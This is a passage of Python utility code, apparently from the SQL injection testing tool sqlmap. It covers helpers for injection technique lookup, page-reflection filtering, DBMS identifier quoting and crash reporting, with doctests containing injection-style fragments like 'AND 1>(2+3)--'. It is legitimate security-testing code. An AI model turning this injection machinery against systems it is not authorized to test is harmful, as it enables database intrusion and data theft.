extractRegexResult(r'a(?P[^g]+)g', 'abcdefg') 'bcdef' """ retVal = None if regex and content and "?P" in regex: match = re.search(regex, content, flags) if match: retVal = match.group("result") return retVal def extractTextTagContent(page): """ Returns list containing content from "textual" tags >>> extractTextTagContent(u'Title
foobar
Link') [u'Title', u'foobar'] """ page = page or "" if REFLECTED_VALUE_MARKER in page: try: page = re.sub(r"(?i)[^\s>]*%s[^\s<]*" % REFLECTED_VALUE_MARKER, "", page) except MemoryError: page = page.replace(REFLECTED_VALUE_MARKER, "") return filter(None, (_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page))) def trimAlphaNum(value): """ Trims alpha numeric characters from start and ending of a given value >>> trimAlphaNum(u'AND 1>(2+3)-- foobar') u' 1>(2+3)-- ' """ while value and value[-1].isalnum(): value = value[:-1] while value and value[0].isalnum(): value = value[1:] return value def isNumPosStrValue(value): """ Returns True if value is a string (or integer) with a positive integer representation >>> isNumPosStrValue(1) True >>> isNumPosStrValue('1') True >>> isNumPosStrValue(0) False >>> isNumPosStrValue('-2') False """ return (value and isinstance(value, basestring) and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0) @cachedmethod def aliasToDbmsEnum(dbms): """ Returns major DBMS name from a given alias >>> aliasToDbmsEnum('mssql') 'Microsoft SQL Server' """ retVal = None if dbms: for key, item in DBMS_DICT.items(): if dbms.lower() in item[0] or dbms.lower() == key.lower(): retVal = key break return retVal def findDynamicContent(firstPage, secondPage): """ This function checks if the provided pages have dynamic content. If they are dynamic, proper markings will be made >>> findDynamicContent("Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.", "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.") >>> kb.dynamicMarkings [('natum reque et per. ', 'Facer tritani repreh')] """ if not firstPage or not secondPage: return infoMsg = "searching for dynamic content" singleTimeLogMessage(infoMsg) blocks = SequenceMatcher(None, firstPage, secondPage).get_matching_blocks() kb.dynamicMarkings = [] # Removing too small matching blocks for block in blocks[:]: (_, _, length) = block if length <= 2 * DYNAMICITY_BOUNDARY_LENGTH: blocks.remove(block) # Making of dynamic markings based on prefix/suffix principle if len(blocks) > 0: blocks.insert(0, None) blocks.append(None) for i in xrange(len(blocks) - 1): prefix = firstPage[blocks[i][0]:blocks[i][0] + blocks[i][2]] if blocks[i] else None suffix = firstPage[blocks[i + 1][0]:blocks[i + 1][0] + blocks[i + 1][2]] if blocks[i + 1] else None if prefix is None and blocks[i + 1][0] == 0: continue if suffix is None and (blocks[i][0] + blocks[i][2] >= len(firstPage)): continue if prefix and suffix: prefix = prefix[-DYNAMICITY_BOUNDARY_LENGTH:] suffix = suffix[:DYNAMICITY_BOUNDARY_LENGTH] infix = max(re.search(r"(?s)%s(.+)%s" % (re.escape(prefix), re.escape(suffix)), _) for _ in (firstPage, secondPage)).group(1) if infix[0].isalnum(): prefix = trimAlphaNum(prefix) if infix[-1].isalnum(): suffix = trimAlphaNum(suffix) kb.dynamicMarkings.append((prefix if prefix else None, suffix if suffix else None)) if len(kb.dynamicMarkings) > 0: infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '') singleTimeLogMessage(infoMsg) def removeDynamicContent(page): """ Removing dynamic content from supplied page basing removal on precalculated dynamic markings """ if page: for item in kb.dynamicMarkings: prefix, suffix = item if prefix is None and suffix is None: continue elif prefix is None: page = re.sub(r"(?s)^.+%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page) elif suffix is None: page = re.sub(r"(?s)%s.+$" % re.escape(prefix), prefix.replace('\\', r'\\'), page) else: page = re.sub(r"(?s)%s.+%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) return page def filterStringValue(value, charRegex, replacement=""): """ Returns string value consisting only of chars satisfying supplied regular expression (note: it has to be in form [...]) >>> filterStringValue(u'wzydeadbeef0123#', r'[0-9a-f]') u'deadbeef0123' """ retVal = value if value: retVal = re.sub(charRegex.replace("[", "[^") if "[^" not in charRegex else charRegex.replace("[^", "["), replacement, value) return retVal def filterControlChars(value): """ Returns string value with control chars being supstituted with ' ' >>> filterControlChars(u'AND 1>(2+3)\\n--') u'AND 1>(2+3) --' """ return filterStringValue(value, PRINTABLE_CHAR_REGEX, ' ') def isDBMSVersionAtLeast(version): """ Checks if the recognized DBMS version is at least the version specified """ retVal = None if Backend.getVersion() and Backend.getVersion() != UNKNOWN_DBMS_VERSION: value = Backend.getVersion().replace(" ", "").rstrip('.') while True: index = value.find('.', value.find('.') + 1) if index > -1: value = value[0:index] + value[index + 1:] else: break value = filterStringValue(value, '[0-9.><=]') if value and isinstance(value, basestring): if value.startswith(">="): value = float(value.replace(">=", "")) elif value.startswith(">"): value = float(value.replace(">", "")) + 0.01 elif value.startswith("<="): value = float(value.replace("<=", "")) elif value.startswith(">"): value = float(value.replace("<", "")) - 0.01 retVal = distutils.version.LooseVersion(getUnicode(value)) >= distutils.version.LooseVersion(getUnicode(version)) return retVal def parseSqliteTableSchema(value): """ Parses table column names and types from specified SQLite table schema """ if value: table = {} columns = {} for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", value, re.I): columns[match.group(1)] = match.group(2) table[conf.tbl] = columns kb.data.cachedColumns[conf.db] = table def getTechniqueData(technique=None): """ Returns injection data for technique specified """ return kb.injection.data.get(technique) def isTechniqueAvailable(technique): """ Returns True if there is injection data which sqlmap could use for technique specified """ if conf.tech and isinstance(conf.tech, list) and technique not in conf.tech: return False else: return getTechniqueData(technique) is not None def isStackingAvailable(): """ Returns True whether techniques using stacking are available """ retVal = False if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: retVal = True else: for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True): data = getTechniqueData(technique) if data and "stacked" in data["title"].lower(): retVal = True break return retVal def isInferenceAvailable(): """ Returns True whether techniques using inference technique are available """ return any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.STACKED, PAYLOAD.TECHNIQUE.TIME)) def setOptimize(): """ Sets options turned on by switch '-o' """ # conf.predictOutput = True conf.keepAlive = True conf.threads = 3 if conf.threads < 3 else conf.threads conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) if not conf.nullConnection: debugMsg = "turning off switch '--null-connection' used indirectly by switch '-o'" logger.debug(debugMsg) def saveConfig(conf, filename): """ Saves conf to configuration filename """ config = UnicodeRawConfigParser() userOpts = {} for family in optDict.keys(): userOpts[family] = [] for option, value in conf.items(): for family, optionData in optDict.items(): if option in optionData: userOpts[family].append((option, value, optionData[option])) for family, optionData in userOpts.items(): config.add_section(family) optionData.sort() for option, value, datatype in optionData: if datatype and isListLike(datatype): datatype = datatype[0] if option in IGNORE_SAVE_OPTIONS: continue if value is None: if datatype == OPTION_TYPE.BOOLEAN: value = "False" elif datatype in (OPTION_TYPE.INTEGER, OPTION_TYPE.FLOAT): if option in defaults: value = str(defaults[option]) else: value = '0' elif datatype == OPTION_TYPE.STRING: value = "" if isinstance(value, basestring): value = value.replace("\n", "\n ") config.set(family, option, value) with openFile(filename, "wb") as f: try: config.write(f) except IOError, ex: errMsg = "something went wrong while trying " errMsg += "to write to the configuration file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) def initTechnique(technique=None): """ Prepares data for technique specified """ try: data = getTechniqueData(technique) resetCounter(technique) if data: kb.pageTemplate, kb.errorIsNone = getPageTemplate(data.templatePayload, kb.injection.place) kb.matchRatio = data.matchRatio kb.negativeLogic = (technique == PAYLOAD.TECHNIQUE.BOOLEAN) and (data.where == PAYLOAD.WHERE.NEGATIVE) # Restoring stored conf options for key, value in kb.injection.conf.items(): if value and (not hasattr(conf, key) or (hasattr(conf, key) and not getattr(conf, key))): setattr(conf, key, value) debugMsg = "resuming configuration option '%s' (%s)" % (key, value) logger.debug(debugMsg) if value and key == "optimize": setOptimize() else: warnMsg = "there is no injection data available for technique " warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique) logger.warn(warnMsg) except SqlmapDataException: errMsg = "missing data in old session file(s). " errMsg += "Please use '--flush-session' to deal " errMsg += "with this error" raise SqlmapNoneDataException(errMsg) def arrayizeValue(value): """ Makes a list out of value if it is not already a list or tuple itself >>> arrayizeValue(u'1') [u'1'] """ if not isListLike(value): value = [value] return value def unArrayizeValue(value): """ Makes a value out of iterable if it is a list or tuple itself >>> unArrayizeValue([u'1']) u'1' """ if isListLike(value): if not value: value = None elif len(value) == 1 and not isListLike(value[0]): value = value[0] else: _ = filter(lambda _: _ is not None, (_ for _ in flattenValue(value))) value = _[0] if len(_) > 0 else None return value def flattenValue(value): """ Returns an iterator representing flat representation of a given value >>> [_ for _ in flattenValue([[u'1'], [[u'2'], u'3']])] [u'1', u'2', u'3'] """ for i in iter(value): if isListLike(i): for j in flattenValue(i): yield j else: yield i def isListLike(value): """ Returns True if the given value is a list-like instance >>> isListLike([1, 2, 3]) True >>> isListLike(u'2') False """ return isinstance(value, (list, tuple, set, BigArray)) def getSortedInjectionTests(): """ Returns prioritized test list by eventually detected DBMS from error messages """ retVal = copy.deepcopy(conf.tests) def priorityFunction(test): retVal = SORT_ORDER.FIRST if test.stype == PAYLOAD.TECHNIQUE.UNION: retVal = SORT_ORDER.LAST elif "details" in test and "dbms" in test.details: if intersect(test.details.dbms, Backend.getIdentifiedDbms()): retVal = SORT_ORDER.SECOND else: retVal = SORT_ORDER.THIRD return retVal if Backend.getIdentifiedDbms(): retVal = sorted(retVal, key=priorityFunction) return retVal def filterListValue(value, regex): """ Returns list with items that have parts satisfying given regular expression >>> filterListValue(['users', 'admins', 'logs'], r'(users|admins)') ['users', 'admins'] """ if isinstance(value, list) and regex: retVal = filter(lambda _: re.search(regex, _, re.I), value) else: retVal = value return retVal def showHttpErrorCodes(): """ Shows all HTTP error codes raised till now """ if kb.httpErrorCodes: warnMsg = "HTTP error codes detected during run:\n" warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] if code in httplib.responses else '?', count) for code, count in kb.httpErrorCodes.items()) logger.warn(warnMsg) if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()): msg = "too many 4xx and/or 5xx HTTP error codes " msg += "could mean that some kind of protection is involved (e.g. WAF)" logger.debug(msg) def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", buffering=1): # "buffering=1" means line buffered (Reference: http://stackoverflow.com/a/3168436) """ Returns file handle of a given filename """ try: return codecs.open(filename, mode, encoding, errors, buffering) except IOError: errMsg = "there has been a file opening error for filename '%s'. " % filename errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") errMsg += "and that it's not locked by another process." raise SqlmapSystemException(errMsg) def decodeIntToUnicode(value): """ Decodes inferenced integer value to an unicode character >>> decodeIntToUnicode(35) u'#' >>> decodeIntToUnicode(64) u'@' """ retVal = value if isinstance(value, int): try: if value > 255: _ = "%x" % value if len(_) % 2 == 1: _ = "0%s" % _ raw = hexdecode(_) if Backend.isDbms(DBMS.MYSQL): # Note: https://github.com/sqlmapproject/sqlmap/issues/1531 retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING) elif Backend.isDbms(DBMS.MSSQL): retVal = getUnicode(raw, "UTF-16-BE") elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE): retVal = unichr(value) else: retVal = getUnicode(raw, conf.encoding) else: retVal = getUnicode(chr(value)) except: retVal = INFERENCE_UNKNOWN_CHAR return retVal def md5File(filename): """ Calculates MD5 digest of a file Reference: http://stackoverflow.com/a/3431838 """ checkFile(filename) digest = hashlib.md5() with open(filename, "rb") as f: for chunk in iter(lambda: f.read(4096), ""): digest.update(chunk) return digest.hexdigest() def checkIntegrity(): """ Checks integrity of code files during the unhandled exceptions """ if not paths: return logger.debug("running code integrity check") retVal = True for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)): path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _)) if not os.path.isfile(path): logger.error("missing file detected '%s'" % path) retVal = False elif md5File(path) != checksum: logger.error("wrong checksum of file '%s' detected" % path) retVal = False return retVal def unhandledExceptionMessage(): """ Returns detailed message about occurred unhandled exception """ errMsg = "unhandled exception occurred in %s. It is recommended to retry your " % VERSION_STRING errMsg += "run with the latest development version from official GitHub " errMsg += "repository at '%s'. If the exception persists, please open a new issue " % GIT_PAGE errMsg += "at '%s' " % ISSUES_PAGE errMsg += "with the following text and any other information required to " errMsg += "reproduce the bug. The " errMsg += "developers will try to reproduce the bug, fix it accordingly " errMsg += "and get back to you\n" errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % platform.platform() errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding)) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS:" if Backend.getDbms() is not None: errMsg += " %s (fingerprinted)" % Backend.getDbms() if Backend.getIdentifiedDbms() is not None and (Backend.getDbms() is None or Backend.getIdentifiedDbms() != Backend.getDbms()): errMsg += " %s (identified)" % Backend.getIdentifiedDbms() if not errMsg.endswith(')'): errMsg += " None" return errMsg def createGithubIssue(errMsg, excMsg): """ Automatically create a Github issue with unhandled exception information """ try: issues = getFileItems(paths.GITHUB_HISTORY, unique=True) except: issues = [] finally: issues = set(issues) _ = re.sub(r"'[^']+'", "''", excMsg) _ = re.sub(r"\s+line \d+", "", _) _ = re.sub(r'File ".+?/(\w+\.py)', "\g<1>", _) _ = re.sub(r".+\Z", "", _) key = hashlib.md5(_).hexdigest()[:8] if key in issues: return msg = "\ndo you want to automatically create a new (anonymized) issue " msg += "with the unhandled exception information at " msg += "the official Github repository? [y/N] " try: choice = readInput(msg, default='N', boolean=True) except: choice = None if choice: ex = None errMsg = errMsg[errMsg.find("\n"):] req = urllib2.Request(url="https://api.github.com/search/issues?q=%s" % urllib.quote("repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key)) try: content = urllib2.urlopen(req).read() _ = json.loads(content) duplicate = _["total_count"] > 0 closed = duplicate and _["items"][0]["state"] == "closed" if duplicate: warnMsg = "issue seems to be already reported" if closed: warnMsg += " and resolved. Please update to the latest " warnMsg += "development version from official GitHub repository at '%s'" % GIT_PAGE logger.warn(warnMsg) return except: pass data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN.decode("base64")}) try: content = urllib2.urlopen(req).read() except Exception, ex: content = None issueUrl = re.search(r"https://github.com/sqlmapproject/sqlmap/issues/\d+", content or "") if issueUrl: infoMsg = "created Github issue can been found at the address '%s'" % issueUrl.group(0) logger.info(infoMsg) try: with open(paths.GITHUB_HISTORY, "a+b") as f: f.write("%s\n" % key) except: pass else: warnMsg = "something went wrong while creating a Github issue" if ex: warnMsg += " ('%s')" % getSafeExString(ex) if "Unauthorized" in warnMsg: warnMsg += ". Please update to the latest revision" logger.warn(warnMsg) def maskSensitiveData(msg): """ Masks sensitive data in the supplied message >>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') u'python sqlmap.py -u *********************************** --banner' """ retVal = getUnicode(msg) for item in filter(None, (conf.get(_) for _ in SENSITIVE_OPTIONS)): regex = SENSITIVE_DATA_REGEX % re.sub(r"(\W)", r"\\\1", getUnicode(item)) while extractRegexResult(regex, retVal): value = extractRegexResult(regex, retVal) retVal = retVal.replace(value, '*' * len(value)) if not conf.get("hostname"): match = re.search(r"(?i)sqlmap.+(-u|--url)(\s+|=)([^ ]+)", retVal) if match: retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) if getpass.getuser(): retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal) return retVal def listToStrValue(value): """ Flattens list to a string value >>> listToStrValue([1,2,3]) '1, 2, 3' """ if isinstance(value, (set, tuple, types.GeneratorType)): value = list(value) if isinstance(value, list): retVal = value.__str__().lstrip('[').rstrip(']') else: retVal = value return retVal def intersect(valueA, valueB, lowerCase=False): """ Returns intersection of the array-ized values >>> intersect([1, 2, 3], set([1,3])) [1, 3] """ retVal = [] if valueA and valueB: valueA = arrayizeValue(valueA) valueB = arrayizeValue(valueB) if lowerCase: valueA = [val.lower() if isinstance(val, basestring) else val for val in valueA] valueB = [val.lower() if isinstance(val, basestring) else val for val in valueB] retVal = [val for val in valueA if val in valueB] return retVal def removeReflectiveValues(content, payload, suppressWarning=False): """ Neutralizes reflective values in a given content based on a payload (e.g. ..search.php?q=1 AND 1=2 --> "...searching for 1%20AND%201%3D2..." --> "...searching for __REFLECTED_VALUE__...") """ retVal = content try: if all((content, payload)) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode: def _(value): while 2 * REFLECTED_REPLACEMENT_REGEX in value: value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) return value payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True)) regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string-escape"))) if regex != payload: if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check parts = regex.split(REFLECTED_REPLACEMENT_REGEX) retVal = content.replace(payload, REFLECTED_VALUE_MARKER) # dummy approach if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS / 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS / 2:]))) parts = filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX)) if regex.startswith(REFLECTED_REPLACEMENT_REGEX): regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex[len(REFLECTED_REPLACEMENT_REGEX):]) else: regex = r"\b%s" % regex if regex.endswith(REFLECTED_REPLACEMENT_REGEX): regex = r"%s%s" % (regex[:-len(REFLECTED_REPLACEMENT_REGEX)], REFLECTED_BORDER_REGEX) else: regex = r"%s\b" % regex _retVal = [retVal] def _thread(regex): try: _retVal[0] = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, _retVal[0]) if len(parts) > 2: regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:]) _retVal[0] = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, _retVal[0]) except KeyboardInterrupt: raise except: pass thread = threading.Thread(target=_thread, args=(regex,)) thread.daemon = True thread.start() thread.join(REFLECTED_REPLACEMENT_TIMEOUT) if thread.isAlive(): kb.reflectiveMechanism = False retVal = content if not suppressWarning: debugMsg = "turning off reflection removal mechanism (because of timeouts)" logger.debug(debugMsg) else: retVal = _retVal[0] if retVal != content: kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1 if not suppressWarning: warnMsg = "reflective value(s) found and filtering out" singleTimeWarnMessage(warnMsg) if re.search(r"(?i)FRAME[^>]+src=[^>]*%s" % REFLECTED_VALUE_MARKER, retVal): warnMsg = "frames detected containing attacked parameter values. Please be sure to " warnMsg += "test those separately in case that attack on this page fails" singleTimeWarnMessage(warnMsg) elif not kb.testMode and not kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT]: kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] += 1 if kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] > REFLECTIVE_MISS_THRESHOLD: kb.reflectiveMechanism = False if not suppressWarning: debugMsg = "turning off reflection removal mechanism (for optimization purposes)" logger.debug(debugMsg) except MemoryError: kb.reflectiveMechanism = False if not suppressWarning: debugMsg = "turning off reflection removal mechanism (because of low memory issues)" logger.debug(debugMsg) return retVal def normalizeUnicode(value): """ Does an ASCII normalization of unicode strings Reference: http://www.peterbe.com/plog/unicode-to-ascii >>> normalizeUnicode(u'\u0161u\u0107uraj') 'sucuraj' """ return unicodedata.normalize("NFKD", value).encode("ascii", "ignore") if isinstance(value, unicode) else value def safeSQLIdentificatorNaming(name, isTable=False): """ Returns a safe representation of SQL identificator name (internal data format) Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal """ retVal = name if isinstance(name, basestring): retVal = getUnicode(name) _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) if _: retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal) if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) retVal = unsafeSQLIdentificatorNaming(retVal) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): retVal = "`%s`" % retVal elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB): retVal = "\"%s\"" % retVal elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = "\"%s\"" % retVal.upper() elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): parts = retVal.split('.', 1) for i in xrange(len(parts)): if ((parts[i] or " ")[0].isdigit() or not re.match(r"\A\w+\Z", parts[i], re.U)): parts[i] = "[%s]" % parts[i] retVal = '.'.join(parts) if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) return retVal def unsafeSQLIdentificatorNaming(name): """ Extracts identificator's name from its safe SQL representation """ retVal = name if isinstance(name, basestring): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): retVal = name.replace("`", "") elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB): retVal = name.replace("\"", "") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = name.replace("\"", "").upper() elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): retVal = name.replace("[", "").replace("]", "") if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal) return retVal def isNoneValue(value): """ Returns whether the value is unusable (None or '') >>> isNoneValue(None) True >>> isNoneValue('None') True >>> isNoneValue('') True >>> isNoneValue([]) True >>> isNoneValue([2]) False """ if isinstance(value, basestring): return value in ("None", "") elif isListLike(value): return all(isNoneValue(_) for _ in value) elif isinstance(value, dict): return not any(value) else: return value is None def isNullValue(value): """ Returns whether the value contains explicit 'NULL' value >>> isNullValue(u'NULL') True >>> isNullValue(u'foobar') False """ return isinstance(value, basestring) and value.upper() == NULL def expandMnemonics(mnemonics, parser, args): """ Expands mnemonic options """ class MnemonicNode(object): def __init__(self): self.next = {} self.current = [] head = MnemonicNode() pointer = None for group in parser.option_groups: for option in group.option_list: for opt in option._long_opts + option._short_opts: pointer = head for char in opt: if char == "-": continue elif char not in pointer.next: pointer.next[char] = MnemonicNode() pointer = pointer.next[char] pointer.current.append(option) for mnemonic in (mnemonics or "").split(','): found = None name = mnemonic.split('=')[0].replace('-', "").strip() value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None pointer = head for char in name: if char in pointer.next: pointer = pointer.next[char] else: pointer = None break if pointer in (None, head): errMsg = "mnemonic '%s' can't be resolved to any parameter name" % name raise SqlmapSyntaxException(errMsg) elif len(pointer.current) > 1: options = {} for option in pointer.current: for opt in option._long_opts + option._short_opts: opt = opt.strip('-') if opt.startswith(name): options[opt] = option if not options: warnMsg = "mnemonic '%s' can't be resolved" % name logger.warn(warnMsg) elif name in options: found = name debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) logger.debug(debugMsg) else: found = sorted(options.keys(), key=lambda x: len(x))[0] warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to: %s). " % (name, ", ".join("'%s'" % key for key in options.keys())) warnMsg += "Resolved to shortest of those ('%s')" % found logger.warn(warnMsg) if found: found = options[found] else: found = pointer.current[0] debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) logger.debug(debugMsg) if found: try: value = found.convert_value(found, value) except OptionValueError: value = None if value is not None: setattr(args, found.dest, value) elif not found.type: # boolean setattr(args, found.dest, True) else: errMsg = "mnemonic '%s' requires value of type '%s'" % (name, found.type) raise SqlmapSyntaxException(errMsg) def safeCSValue(value): """ Returns value safe for CSV dumping Reference: http://tools.ietf.org/html/rfc4180 >>> safeCSValue(u'foo, bar') u'"foo, bar"' >>> safeCSValue(u'foobar') u'foobar' """ retVal = value if retVal and isinstance(retVal, basestring): if not (retVal[0] == retVal[-1] == '"'): if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')): retVal = '"%s"' % retVal.replace('"', '""') return retVal def filterPairValues(values): """ Returns only list-like values with length 2 >>> filterPairValues([[1, 2], [3], 1, [4, 5]]) [[1, 2], [4, 5]] """ retVal = [] if not isNoneValue(values) and hasattr(values, '__iter__'): retVal = filter(lambda x: isinstance(x, (tuple, list, set)) and len(x) == 2, values) return retVal def randomizeParameterValue(value): """ Randomize a parameter value based on occurrences of alphanumeric characters >>> random.seed(0) >>> randomizeParameterValue('foobar') 'rnvnav' >>> randomizeParameterValue('17') '83' """ retVal = value value = re.sub(r"%[0-9a-fA-F]{2}", "", value) for match in re.finditer(r"[A-Z]+", value): while True: original = match.group() candidate = randomStr(len(match.group())).upper() if original != candidate: break retVal = retVal.replace(original, candidate) for match in re.finditer(r"[a-z]+", value): while True: original = match.group() candidate = randomStr(len(match.group())).lower() if original != candidate: break retVal = retVal.replace(original, candidate) for match in re.finditer(r"[0-9]+", value): while True: original = match.group() candidate = str(randomInt(len(match.group()))) if original != candidate: break retVal = retVal.replace(original, candidate) return retVal @cachedmethod def asciifyUrl(url, forceQuote=False): """ Attempts to make a unicode URL usable with ``urllib/urllib2``. More specifically, it attempts to convert the unicode object ``url``, which is meant to represent a IRI, to an unicode object that, containing only ASCII characters, is a valid URI. This involves: * IDNA/Puny-encoding the domain name. * UTF8-quoting the path and querystring parts. See also RFC 3987. Reference: http://blog.elsdoerfer.name/2008/12/12/opening-iris-in-python/ >>> asciifyUrl(u'http://www.\u0161u\u0107uraj.com') u'http://www.xn--uuraj-gxa24d.com' """ parts = urlparse.urlsplit(url) if not parts.scheme or not parts.netloc: # apparently not an url return url if all(char in string.printable for char in url): return url # idna-encode domain try: hostname = parts.hostname.encode("idna") except LookupError: hostname = parts.hostname.encode(UNICODE_ENCODING) # UTF8-quote the other parts. We check each part individually if # if needs to be quoted - that should catch some additional user # errors, say for example an umlaut in the username even though # the path *is* already quoted. def quote(s, safe): s = s or '' # Triggers on non-ascii characters - another option would be: # urllib.quote(s.replace('%', '')) != s.replace('%', '') # which would trigger on all %-characters, e.g. "&". if getUnicode(s).encode("ascii", "replace") != s or forceQuote: return urllib.quote(s.encode(UNICODE_ENCODING), safe=safe) return s username = quote(parts.username, '') password = quote(parts.password, safe='') path = quote(parts.path, safe='/') query = quote(parts.query, safe="&=") # put everything back together netloc = hostname if username or password: netloc = '@' + netloc if password: netloc = ':' + password + netloc netloc = username + netloc try: port = parts.port except: port = None if port: netloc += ':' + str(port) return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) or url def isAdminFromPrivileges(privileges): """ Inspects privileges to see if those are coming from an admin user """ privileges = privileges or [] # In PostgreSQL the usesuper privilege means that the # user is DBA retVal = (Backend.isDbms(DBMS.PGSQL) and "super" in privileges) # In Oracle the DBA privilege means that the # user is DBA retVal |= (Backend.isDbms(DBMS.ORACLE) and "DBA" in privileges) # In MySQL >= 5.0 the SUPER privilege means # that the user is DBA retVal |= (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema and "SUPER" in privileges) # In MySQL < 5.0 the super_priv privilege means # that the user is DBA retVal |= (Backend.isDbms(DBMS.MYSQL) and not 